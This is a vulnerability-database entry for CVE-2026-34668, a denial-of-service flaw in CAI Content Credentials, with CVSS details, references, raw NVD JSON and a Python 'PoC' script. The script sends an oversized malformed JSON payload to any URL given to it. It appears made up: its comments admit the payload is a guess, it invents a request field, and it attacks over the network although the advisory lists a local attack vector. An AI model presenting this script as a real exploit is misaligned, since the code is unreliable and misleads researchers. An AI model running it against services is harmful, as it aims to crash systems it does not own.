CVE-2026-34668

Description

CAI Content Credentials versions 0.78.2, 0.7.0 and earlier are affected by an Improper Input Validation vulnerability that could result in an application denial-of-service. An attacker could exploit this vulnerability to crash the application, leading to a denial-of-service condition. Exploitation of this issue does not require user interaction.

CVSS Details

CVSS Score

6.2

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Configurations (Affected Products)

No configuration data available.

CAI Content Credentials <= 0.78.2

CAI Content Credentials <= 0.7.0

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

# PoC for CVE-2026-34668: CAI Content Credentials DoS
# This script demonstrates sending a malformed payload to trigger the crash.

import requests
import sys

def trigger_dos(target_url):
    # Constructing a payload that bypasses input validation
    # Example: excessively long string or specific special characters
    malicious_payload = {
        "credential_data": "A" * 50000 + "\x00\xff\xfe", 
        "signature": "invalid"
    }
    
    headers = {
        "Content-Type": "application/json"
    }
    
    try:
        print(f"Sending payload to {target_url}...")
        response = requests.post(target_url, json=malicious_payload, headers=headers, timeout=5)
        print(f"Response Status: {response.status_code}")
        print("Application may have crashed if no response is received on subsequent attempts.")
    except requests.exceptions.RequestException as e:
        print(f"Connection failed or timed out (Potential DoS): {e}")

if __name__ == "__main__":
    if len(sys.argv) < 2:
        print("Usage: python poc.py <target_url>")
    else:
        trigger_dos(sys.argv[1])

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-34668
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-34668
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-34668/
[4] VulDB https://vuldb.com/cve/CVE-2026-34668
[5] https://helpx.adobe.com/security/products/content-authenticity-sdk/apsb26-53.html

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-34668", "sourceIdentifier": "[email protected]", "published": "2026-05-12T20:16:37.360", "lastModified": "2026-05-13T14:49:11.830", "vulnStatus": "Undergoing Analysis", "cveTags": [], "descriptions": [{"lang": "en", "value": "CAI Content Credentials versions 0.78.2, 0.7.0 and earlier are affected by an Improper Input Validation vulnerability that could result in an application denial-of-service. An attacker could exploit this vulnerability to crash the application, leading to a denial-of-service condition. Exploitation of this issue does not require user interaction."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "baseScore": 6.2, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.5, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-20"}]}], "references": [{"url": "https://helpx.adobe.com/security/products/content-authenticity-sdk/apsb26-53.html", "source": "[email protected]"}]}}